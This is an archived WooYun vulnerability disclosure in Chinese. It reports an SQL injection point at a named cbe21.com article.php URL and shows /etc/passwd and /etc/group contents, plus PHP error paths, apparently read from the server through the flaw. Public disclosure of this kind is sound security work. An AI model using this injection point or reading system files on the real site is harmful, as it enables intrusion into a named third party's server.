乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2014-11-05: 积极联系厂商并且等待厂商认领中,细节不对外公开 2014-12-20: 厂商已经主动忽略漏洞,细节向公众公开
.................
..................
注入点 http://www.cbe21.com/subject/diqujy/article.php?article_id=87
【/etc/passwd】root:x:0:0:root:/root:/bin/bashbin:x:1:1:bin:/bin:/sbin/nologindaemon:x:2:2:daemon:/sbin:/sbin/nologinadm:x:3:4:adm:/var/adm:/sbin/nologinlp:x:4:7:lp:/var/spool/lpd:/sbin/nologinsync:x:5:0:sync:/sbin:/bin/syncshutdown:x:6:0:shutdown:/sbin:/sbin/shutdownhalt:x:7:0:halt:/sbin:/sbin/haltmail:x:8:12:mail:/var/spool/mail:/sbin/nologinnews:x:9:13:news:/etc/news:uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologinoperator:x:11:0:operator:/root:/sbin/nologingames:x:12:100:games:/usr/games:/sbin/nologingopher:x:13:30:gopher:/var/gopher:/sbin/nologinftp:x:14:50:FTP User:/var/ftp:/sbin/nologinnobody:x:99:99:Nobody:/:/sbin/nologindistcache:x:94:94:Distcache:/:/sbin/nologinnscd:x:28:28:NSCD Daemon:/:/sbin/nologinvcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologinpcap:x:77:77::/var/arpwatch:/sbin/nologinntp:x:38:38::/etc/ntp:/sbin/nologindbus:x:81:81:System message bus:/:/sbin/nologinavahi:x:70:70:Avahi daemon:/:/sbin/nologinapache:x:48:48:Apache:/var in <b>/home/html/cbe21/subject/diqujy/article.php</b> on line <b>25</b><br /><br /><b>Warning</b>: mkdir(/home/httpd/html/subject/diqujy/html/【/etc/group】root:x:0:rootbin:x:1:root,bin,daemondaemon:x:2:root,bin,daemonsys:x:3:root,bin,admadm:x:4:root,adm,daemontty:x:5:disk:x:6:rootlp:x:7:daemon,lpmem:x:8:kmem:x:9:wheel:x:10:rootmail:x:12:mailnews:x:13:newsuucp:x:14:uucpman:x:15:games:x:20:gopher:x:30:dip:x:40:ftp:x:50:lock:x:54:nobody:x:99:users:x:100:utmp:x:22:utempter:x:35:distcache:x:94:nscd:x:28:floppy:x:19:vcsa:x:69:pcap:x:77:slocate:x:21:ntp:x:38:dbus:x:81:audio:x:63:gdmavahi:x:70:apache:x:48:rpc:x:32:mailnull:x:47:smmsp:x:51:sshd:x:74:oprofile:x:16:screen:x:84:xfs:x:43:stapdev:x:101:stapusr:x:102:stap-server:x:155:rpcuser:x:29:nfsnobody:x:65534:haldaemon:x:68:avahi-autoipd:x:156:gdm:x:42:mysql:x:157:【】
未能联系到厂商或者厂商积极拒绝